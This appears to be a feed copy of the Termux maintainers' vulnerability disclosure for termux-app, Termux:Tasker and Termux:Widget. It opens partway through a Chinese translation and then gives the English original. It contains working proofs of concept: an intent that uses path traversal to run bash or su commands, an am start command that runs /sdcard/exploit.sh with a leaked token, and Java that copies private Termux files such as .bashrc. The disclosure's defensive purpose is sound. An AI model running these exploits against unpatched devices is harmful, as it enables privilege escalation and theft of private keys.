在 Android 版本 >=8 上使用 Pinned Shortcut,不允许执行规范路径不在 ~/.shortcuts~/.termux 目录下的文件,可以提供合理的安全性,防止任意代码执行或权限提升。Android 版本 < 8 时,仍然要使用 Static Shortcut,这些用户应该关注他们在哪些应用程序中创建了快捷方式,因为这些应用程序能够在允许的目录下执行任何脚本。这些用户通常应该去关注使用了哪些启动器,或者安装在他们的设备上的非启动器的快捷方式应用程序 (例如 Shortcut Maker),因为这些应用程序可以为其他应用程序执行危险的快捷方式,如果应用程序没有正确保护,可能会产生严重的后果。

查阅 Termux:WidgetREADME 文件来获取更多详细信息。

3. Termux 文件全局可读

本漏洞允许 /data/data/com.termux/files 下的 所有文件任何应用程序 可读。

本漏洞首先存在于 v0.47 (2017-02-28)版本,从 v0.47<= v0.117 的任意版本均会收到该漏洞的影响。本漏洞被修复于 v0.118.0 (2022-01-08)版本。

该漏洞存在于 Termux 的 ContentProvider 声明 中,因为设置了 android.permission.permRead 作为 readPermission。实际上,当用户请求使用另一个应用程序打开文件,比如使用 termux-open 时,Termux 会传递 FLAG_GRANT_READ_URI_PERMISSION 标志,所以目标应用不需要具有 android.permission.permRead 权限也可以读取文件,这也需要 provider 元素中声明 grantUriPermissions="true"。但是,如果某些应用程序有这个权限,它就可以通过 Termux TermuxOpenReceiver$ContentProvider.openFile()读取 files 目录下的任何文件。

问题是,正如 com.termux.permission.RUN_COMMAND 这种自定义权限一样,Termux 并未公开声明 android.permission.permRead 权限。这种未公开声明权限可以被称为虚拟权限 (dummy permission),可能是在添加 ContentProvider 时从一些教程或 StackOverflow 的回答中复制的,因为互联网搜索会显示来自不同站点的各种随机结果。这种虚拟权限本来应该被应用程序发布的自定义权限所替换,但事实上并非如此。这将会导致 任何应用 只需在自己的 AndroidManifest.xml 中发布这种权限,并通过 uses-permission 条目授予自己这种权限,就能够 读取 files 下的任何文件和目录。

注意,其他应用程序只能 读取 文件,但不能 写入 文件,因为 TermuxOpenReceiver$ContentProvider.openFile() 返回了一个使用 ParcelFileDescriptor.MODE_READ_ONLY 文件的文件描述符,因此无法写入,如果调用者尝试写入,将会得到 java.io.IOException: write failed: EBADF (Bad file descriptor) 错误。 provider 元素中也没有设置 writePermission。这仅仅防止了任意代码执行和权限提升,在某些情况下,情况仍然十分糟糕。

1. POC

下面这段 POC 将读取 /data/data/com.termux/files/home/.bashrc 并写入到 /sdcard/bashrc.txt

private void runTermuxContentProviderReadCommand(Context context) {
    Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
    //Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
    InputStream inputStream = null;
    FileOutputStream fileOutputStream = null;

    try {
        inputStream = context.getContentResolver().openInputStream(uri);
        File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
        fileOutputStream = new FileOutputStream(outFile);
        byte[] buffer = new byte[4096];
        int readBytes;
        while ((readBytes = inputStream.read(buffer)) > 0) {
            Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
            fileOutputStream.write(buffer, 0, readBytes);
        }
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (inputStream != null)
                inputStream.close();
            if (fileOutputStream != null)
                fileOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
<permission
    android:name="android.permission.permRead"
    android:description="@string/permission_termux_provider_description"
    android:icon="@mipmap/ic_launcher"
    android:label="Termux Provider"
    android:protectionLevel="normal" />

<uses-permission android:name="android.permission.permRead"  />

2. 修复方式

  1. Termux ContentProvider 的声明中,虚拟权限 android.permission.permRead readPermission悄悄地替换为 com.termux.permission.RUN_COMMAND。用于 RUN_COMMAND Intent 和其他插件执行命令的 com.termux.permission.RUN_COMMAND 权限来替换这个虚拟权限似乎是合适的,因为命令执行可以访问文件,并且对于第三方应用来说,请求单个权限会更容易。(b62645cd)

  2. TermuxOpenReceiver$ContentProvider.openFile() 返回的文件描述符中的模式,之前是 ParcelFileDescriptor.MODE_READ_ONLY,现在改为 以允许读和写或由 ParcelFileDescriptor.parseMode() 返回的任何文件模式。通过此更改,没有 com.termux.permission.RUN_COMMAND 权限的应用程序将被拒绝访问文件,除非通过 termux-open 授予临时的读取权限。对于具有该权限的应用程序,他们可以使用以下代码进行读写。注意,如果调用程序被强制开启分区存储机制 (例如 targetSdkVersion > 28 ),那么使用 File APIs (outFile.createNewFile()) 写入到外部储存将会失败。(b62645cd)

用于读取或写入 v0.118.0+ 的 termux 文件的示例代码
private void runTermuxContentProviderWriteCommand(Context context) {
    Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/test.sh");
    FileOutputStream fileOutputStream = null;
    BufferedWriter bufferedWriter = null;
    ParcelFileDescriptor parcelFileDescriptor = null;
    try {
        parcelFileDescriptor = context.getContentResolver().openFileDescriptor(uri, "wt");
        Log.d(LOG_TAG, "parcelFileDescriptor: " + parcelFileDescriptor.describeContents());
        fileOutputStream = new FileOutputStream(parcelFileDescriptor.getFileDescriptor());
        bufferedWriter = new BufferedWriter(new OutputStreamWriter(fileOutputStream, Charset.defaultCharset()));
        bufferedWriter.write("echo 'some script'\n");
        bufferedWriter.flush();
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (parcelFileDescriptor != null)
                parcelFileDescriptor.close();
            if (fileOutputStream != null)
                fileOutputStream.close();
            if (bufferedWriter != null)
                bufferedWriter.close();

        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

private void runTermuxContentProviderReadCommand(Context context) {
    Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
    //Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
    InputStream inputStream = null;
    FileOutputStream fileOutputStream = null;

    try {
        inputStream = context.getContentResolver().openInputStream(uri);
        File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
        if (!outFile.exists())
            outFile.createNewFile();
        fileOutputStream = new FileOutputStream(outFile);
        byte[] buffer = new byte[4096];
        int readBytes;
        while ((readBytes = inputStream.read(buffer)) > 0) {
            Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
            fileOutputStream.write(buffer, 0, readBytes);
        }
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (inputStream != null)
                inputStream.close();
            if (fileOutputStream != null)
                fileOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  
  1. 只有在 ~/.termux/termux.properties 中将 allow-external-apps 设置为 true 时才允许 Termux ContentProvider 访问文件。 如果在 v0.118.0 中,未将该值设置为 true,这也会导致 termux-openxdg-open 命令失败。将来的版本中,将添加错误通知。像 QuickEdit 这样的调用程序可能仍会弹出一个一闪而过的错误提示。查阅 https://github.com/termux/termux-tasker#allow-external-apps-property-optional 来获取有关如何更改选项中值的信息。 通过 ContentProvider 来写入 ~/.termux/termux.properties 的权限也被禁用,因此应用程序无法在未经用户同意的情况下修改 Termux 设置,尽管现在还可以使用 RUN_COMMAND Intent 执行这种操作,最后可能会实现白名单命令列表来给用户更多的控制权。 (dcedf394, e302a14c)

3. 讨论

对于使用 Termux 应用程序版本 <= v0.117 的用户,应该假定所有的私有文件 (例如 ssh 的安全密钥,或其他应用的加密密钥) 都已经泄露。强烈建议使用新的密钥替换任何此类密钥,并从 Termux 连接的任何远程服务器中查看是否存在任何可疑的授权访问。

仍然在使用谷歌应用商店版本的 Termux 用户,请 立即 切换到F -Droid 或 Github Release 的版本。尽管曾经可能会进行一些更新,但由于 Android 10 的一些问题,谷歌应用商店上的程序之后不会再继续更新。谷歌应用商店的构建版本已经在约 150 天前被弃用,也不会再提供任何支持。查阅 https://github.com/termux/termux-app#installation 来获取有关如何安装或更新 Termux 应用程序的更多信息。

理想状况下,谷歌应用商店、F-Droid 以及其他的应用商店也应该检查是否有任何其他应用程序正在使用 android.permission.permReadandroid.permission.permWrite 权限,或在应用程序的互联网搜索中有应用程序存在 ContentProvider 声明中的其他虚拟权限 (dummy permissions),并通知他们的开发者,因为这些应用程序也容易受到此类漏洞的攻击。此外,任何声明或请求这些权限的恶意应用程序也应该被发现并删除。

如果任何其他开发人员对 Termux 及其插件的应用程序代码进行审计,以查找其他潜在的安全漏洞并修复,从而为用户提供更安全的环境,我们将不胜感激。

]]>
Termux Apps Vulnerability Disclosures2022-02-15T00:00:00+00:002022-02-15T00:00:00+00:00https://termux.dev/en/posts/security/2022/02/15/termux-apps-vulnerability-disclosuresThis is a vulnerability report for termux-app, termux-tasker and termux-widget.

It is being released on 2022-02-15, after 30 days of termux-app v0.118.0 release and ~150 days since Google Playstore builds were officially deprecated with a terminal banner added in termux-tools v0.135 and termux-app readme was updated with deprecation details. This should have allowed enough time for users on Google Playstore builds (latest version v0.101) to move to F-Droid/Github releases for Termux app and all its plugin apps and enough time for other Termux app users on <= v0.117 to update to >= v0.118.0.

Users are advised to immediately update to Termux v0.118.0, Termux:Tasker v0.5 and Termux:Widget v0.13.0 if they are using any older version.

Contents

1. Termux:Tasker Privilege Escalation Vulnerability

This vulnerability allowed execution of any command in termux context or even root context if termux had been granted root permissions by any app.

The vulnerability existed since the first release of the plugin v0.1 (2016-12-26) till <= v0.4 and was fixed in v0.5 (2020-12-07).

The vulnerability existed in FireReceiver of the Termux:Tasker app where it didn't check the full canonical path of the executable and executed it as is. The Termux:Tasker app is only meant to allow scripts in ~/.termux/tasker directory to be executed to prevent arbitrary commands to be run in termux context by other apps but without the canonical path check for the executable, an app could send ../../../usr/bin/bash as the executable value and -c "some termux context command" as args value to run commands in termux context or send ../../../usr/bin/su as the executable value and -c "some root context command" as args value to run commands in root context.

Note that it does not require a plugin app to send intents to FireReceiver, but any app can send the intent using java. The Termux:Tasker Exploit task does just that and uses Tasker java actions to emulate how a normal app would send an intent.

1. Proof Of Concept

Intent intent = new Intent("com.twofortyfouram.locale.intent.action.FIRE_SETTING");
intent.setClassName("com.termux.tasker", "com.termux.tasker.FireReceiver");

Bundle bundle = new Bundle();
bundle.putString("com.termux.tasker.extra.EXECUTABLE", "../../../usr/bin/bash");
bundle.putString("com.termux.execute.arguments", "-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2>/dev/null; sleep 5;\"");
bundle.putBoolean("com.termux.tasker.extra.TERMINAL", true);
bundle.putInt("com.termux.tasker.extra.VERSION_CODE", 4);

intent.putExtra("com.twofortyfouram.locale.intent.extra.BUNDLE", bundle);
context.sendBroadcast(intent);

1. Fix

  1. To send an intent to FireReceiver now requires com.termux.permission.RUN_COMMAND, a dangerous runtime permission, to be granted to the calling app, which was published by Termux app. The Tasker app already had requested the permission since v5.9.3 for RUN_COMMAND intent before the v0.5 release but other automation apps would have had to request the permission in later versions. (26da42f7)

  2. The canonical path of the executable received by FireReceiver was found before it was processed. The v0.5 release officially added support to allow executables outside the ~/.termux/tasker directory, but only if user had explicitly added allow-external-apps=true to ~/.termux/termux.properties. (a5af3db3)

This dual permission model enforced by android os permission and an app setting for absolute paths provides reasonable security against any arbitrary code execution or privilege escalation unless users grant the permission to untrusted apps.

Check Termux:Tasker README for more details on new design.

1. Discussion

This kind of vulnerability partly existed because any app can send intents to plugin apps of automation apps like Tasker. The Tasker app and the locale plugin protocol library it uses were created around 2008. At that time runtime permissions didn't exist and security and possible dangerous uses of plugins may not have been a top priority/concern. However, it is indeed especially concerning for plugin apps that are granted privileged permissions like device admin/owner and accessibility services or even storage, location, etc. For example the SecureTask plugin needs to be set as device admin or even owner for a lot of its features. If a user has installed the app on their phone and have granted the device admin permission to SecureTask, any app could send intents to it directly without going through Tasker to run privileged commands, including wiping the device.

The Termux:Tasker requirement for com.termux.permission.RUN_COMMAND permission requires Tasker and all other automation apps to request the permission in their AndroidManifest.xml, but this can't be expected to be done for almost every plugin that exists since it would require manual intervention of all automation app devs. Moreover, private plugins may exist to with their custom permissions, whose info their devs may not want to release to the public. Possibly some kind of token generation and validation mechanism needs to be designed, possibly as core part locale library. Hopefully, more thought can be given to this and termux, automation and locale lib devs can collaborate to implement something in (near) future, since current design is not how it should be.

2. Termux:Widget Privilege Escalation Vulnerability

This vulnerability allowed execution of any command in termux context or even root context if termux had been granted root permissions by any launcher app in which the user had created a launcher shortcut and by any malicious app which started the Termux:Widget shortcut chooser activity and user accidentally selected a shortcut regardless of if the app was the default launcher or not.

The vulnerability existed since the first release of the plugin v0.3 (2015-12-20) till <= v0.12 and was fixed in v0.13.0 (2021-09-23).

The Termux:Widget "security" worked by generating a token and storing it in shared preferences. Now every time a static shortcut was created for a launcher app, it was sent this token as an extra in the shortcut intent created. When the user triggered the shortcut, the shortcut intent was sent by the launcher app and received by TermuxLaunchShortcutActivity and it was checked if the one in the intent matched against the one stored in shared preferences. Now this provided decent security and is usually how APIs work, but no canonical path validation was being done before passing it to TermuxService. It was not checked if the canonical path was under the ~/.shortcuts directory. So basically once a malicious launcher or any app had received a token, it could run any command at any time by sending a custom path like /sdcard/exploit.sh for foreground commands or /sdcard/tasks/exploit.sh for background commands (Termux:Widget would assume it as background since parent dirname would equal tasks).

2. Proof Of Concept

  1. Install Termux:Widget v0.12.

  2. Create a shortcut from termux terminal: touch ~/.shortcuts/tasks/test

  3. Get the token being used by Termux:Widget by installing TaskerLauncherShortcut and open it, then options (3 dots at top right) -> Search Shortcuts -> Static Shortcut -> Termux:Widget -> Select any shortcut and an intent uri will be copied to clipboard, something like com.termux.file:/data/data/com.termux/files/home/.shortcuts/tasks/test#Intent;component=com.termux.widget/.TermuxLaunchShortcutActivity;S.com.termux.shortcut.token=22e30b81-5d67-4ee3-be0e-66169f637025;end. You can also get the token by running following in termux terminal cat /data/data/com.termux.widget/shared_prefs/token.xml after creating at least one launcher shortcut.

  4. Create an exploit file from termux terminal: echo 'whoami; su -c whoami; sleep 5' > /sdcard/exploit.sh

  5. Trigger the exploit from termux terminal or adb shell: am start --user 0 -n com.termux.widget/.TermuxLaunchShortcutActivity -d /sdcard/exploit.sh --es com.termux.shortcut.token 22e30b81-5d67-4ee3-be0e-66169f637025

Or use java from any app.

    Intent intent = new Intent();
    intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
    intent.setData(Uri.parse("/sdcard/exploit.sh"));
    intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
    startActivity(intent);

The termux app will run the /sdcard/exploit.sh script with /data/data/com.termux/files/usr/bin/sh and /sdcard being mounted as noexec would not be an issue.

2. Fix

  1. Use ShortcutManager APIs to create pinned shortcut on android version >=8. This is better way to create shortcuts since launcher does not get access to shortcut data of the app and android itself stores them, so even the launcher app would not get the token and would not be able to run any scripts whose shortcut was not explicitly created by the user. For more info on shortcut types, check https://github.com/agnostic-apollo/TaskerLauncherShortcut#shortcut-types. (e94d7777)

  2. The token being previously used and shortcuts created on older versions of Termux:Widget were invalidated so that in case a malicious app already had the token, it could not use it anymore and so that users on Android >= 8 were forced to re-create their shortcuts with safer pinned shortcuts API instead of continuing to use the old unsafer static shortcuts API. (32f344ee)

  3. The canonical path of the executable received by TermuxLaunchShortcutActivity was found before it was processed. Shortcuts that were broken symlinks or whose canonical path was not under the ~/.shortcuts or ~/.termux directory were not shown and execution for the later was not allowed even if the path was sent. (32f344ee, 32f344ee, bcb0ab6c)

Using pinned shortcuts on android version >=8 and not allowing execution of files whose canonical path was not under the ~/.shortcuts or ~/.termux directory provides reasonable security against any arbitrary code execution or privilege escalation. Users who are on Android versions < 8 would still have to use static shortcuts and should be careful about which apps they create a shortcut in, since such apps would be able to execute any scripts under the allowed directories. Users generally should be very careful about which launcher or non-launcher shortcut apps (like Shortcut Maker) they install on their device, since these apps get to execute dangerous shortcuts for apps which can have serious consequences if not protected properly by the apps.

Check Termux:Widget README for more details on new design.

3. Termux Files World Readable

This vulnerability allowed all files under /data/data/com.termux/files to be readable by any app.

The vulnerability existed since v0.47 (2017-02-28) till <= v0.117 and was fixed in v0.118.0 (2022-01-08).

The vulnerability existed in the termux ContentProvider declaration since it had set android.permission.permRead as readPermission. Basically, termux passes the FLAG_GRANT_READ_URI_PERMISSION flag when user requests to open a file with another app, like with termux-open, so the target app doesn't need to have the android.permission.permRead permission to be able to read the file, which also requires grantUriPermissions="true" in the provider element. However, if some app has the permission, it can read any files under files directory as set by termux TermuxOpenReceiver$ContentProvider.openFile().

Issue was that termux did not declare/publish the android.permission.permRead permission, like it does the com.termux.permission.RUN_COMMAND custom permission. It's a dummy permission, likely copied from some tutorial or stackoverflow answer when the ContentProvider was added, since internet searches reveal various random results from different sites for it. It was meant to be replaced with a custom permission published by the app, but it was not. That resulted in any app to just publish the permission in its own AndroidManifest.xml and grant itself the permission with uses-permission entry and then be able to read any files under files directory.

Note that other apps could only read the files, but not write to them since TermuxOpenReceiver$ContentProvider.openFile() returned the ParcelFileDescriptor.MODE_READ_ONLY file mode, so writing was not possible and caller would get java.io.IOException: write failed: EBADF (Bad file descriptor) errors if it tried to write, There was also no writePermission set in the provider element. This at least prevented arbitrary code execution and privilege escalation, which obviously would have been much worse for some cases.

3. Proof Of Concept

The following POC reads the /data/data/com.termux/files/home/.bashrc and writes it to /sdcard/bashrc.txt.

private void runTermuxContentProviderReadCommand(Context context) {
    Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
    //Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
    InputStream inputStream = null;
    FileOutputStream fileOutputStream = null;

    try {
        inputStream = context.getContentResolver().openInputStream(uri);
        File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
        fileOutputStream = new FileOutputStream(outFile);
        byte[] buffer = new byte[4096];
        int readBytes;
        while ((readBytes = inputStream.read(buffer)) > 0) {
            Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
            fileOutputStream.write(buffer, 0, readBytes);
        }
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (inputStream != null)
                inputStream.close();
            if (fileOutputStream != null)
                fileOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
<permission
    android:name="android.permission.permRead"
    android:description="@string/permission_termux_provider_description"
    android:icon="@mipmap/ic_launcher"
    android:label="Termux Provider"
    android:protectionLevel="normal" />

<uses-permission android:name="android.permission.permRead"  />

3. Fix

  1. The dummy android.permission.permRead readPermission was silently replaced with com.termux.permission.RUN_COMMAND in termux ContentProvider declaration. It seemed appropriate to use the same com.termux.permission.RUN_COMMAND permission used for RUN_COMMAND intent and other plugin command executions for accessing files as well since commands can access files anyways, and it would be easier for third party apps to request a single permission. (b62645cd)

  2. The file mode returned by TermuxOpenReceiver$ContentProvider.openFile() which was previously ParcelFileDescriptor.MODE_READ_ONLY was changed to allow both read and write or more specially any file mode defined by ParcelFileDescriptor.parseMode(). With this change, apps that don't have the com.termux.permission.RUN_COMMAND permission are denied access, unless temporary read permission was granted through termux-open. For apps with the permission, they can use something like the following for reading and writing. Note that writing to external storage will fail with File APIs (outFile.createNewFile()) if scoped storage restrictions are being enforced for the calling app, like for targetSdkVersion > 28. (b62645cd)

Sample code to read/write termux files for v0.118.0+
private void runTermuxContentProviderWriteCommand(Context context) {
    Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/test.sh");
    FileOutputStream fileOutputStream = null;
    BufferedWriter bufferedWriter = null;
    ParcelFileDescriptor parcelFileDescriptor = null;
    try {
        parcelFileDescriptor = context.getContentResolver().openFileDescriptor(uri, "wt");
        Log.d(LOG_TAG, "parcelFileDescriptor: " + parcelFileDescriptor.describeContents());
        fileOutputStream = new FileOutputStream(parcelFileDescriptor.getFileDescriptor());
        bufferedWriter = new BufferedWriter(new OutputStreamWriter(fileOutputStream, Charset.defaultCharset()));
        bufferedWriter.write("echo 'some script'\n");
        bufferedWriter.flush();
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (parcelFileDescriptor != null)
                parcelFileDescriptor.close();
            if (fileOutputStream != null)
                fileOutputStream.close();
            if (bufferedWriter != null)
                bufferedWriter.close();

        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

private void runTermuxContentProviderReadCommand(Context context) {
    Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/home/.bashrc");
    //Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");
    InputStream inputStream = null;
    FileOutputStream fileOutputStream = null;

    try {
        inputStream = context.getContentResolver().openInputStream(uri);
        File outFile = new File(Environment.getExternalStorageDirectory(), "bashrc.txt");
        if (!outFile.exists())
            outFile.createNewFile();
        fileOutputStream = new FileOutputStream(outFile);
        byte[] buffer = new byte[4096];
        int readBytes;
        while ((readBytes = inputStream.read(buffer)) > 0) {
            Log.d(LOG_TAG, "data: " + new String(buffer, 0, readBytes, Charset.defaultCharset()));
            fileOutputStream.write(buffer, 0, readBytes);
        }
    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (inputStream != null)
                inputStream.close();
            if (fileOutputStream != null)
                fileOutputStream.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  
  1. The termux ContentProvider access was only allowed if allow-external-apps was set to true in ~/.termux/termux.properties. This also results in termux-open and xdg-open command to silently fail if value is not set to true in v0.118.0. An error notification will be added in future versions. The caller app like QuickEdit may still show a flash error. Check https://github.com/termux/termux-tasker#allow-external-apps-property-optional on info on how to change the value. Write access through ContentProvider was also disabled for ~/.termux/termux.properties so that apps couldn't modify termux settings without user consent, although they can still do it with RUN_COMMAND intent for now, at least until whitelisting commands is implemented to give users more control. (dcedf394, e302a14c)

3. Discussion

All private files like security keys for ssh or encryption keys should be assumed to be compromised for users who were using termux app version <= v0.117 . It is highly advisable to replace any such keys with new ones and look into any suspicious authorized access on any remote servers being connected to from termux.

People who are still using Google Playstore version are advised to immediately shift to F-Droid or Github releases since updates will not be released on Google Playstore any time soon, if ever, due to Android 10 issues. Playstore builds were deprecated more than ~150 days ago and are no longer supported. Check https://github.com/termux/termux-app#installation for more info on where to install/update the Termux app.

Google Playstore, F-Droid and other stores should ideally also add checks to see if any other apps are using android.permission.permRead or android.permission.permWrite permissions or other dummy permissions found in internet searches in the app ContentProvider declarations and notify their devs since those apps would be vulnerable as well to such vulnerabilities. Moreover, any malicious apps declaring or requesting those permissions should also be caught and removed.

It would also be highly appreciated if any other devs review Termux and plugin apps code for any other potential vulnerabilities that may exist so that they can be fixed as well to provide safer environment for users.

]]>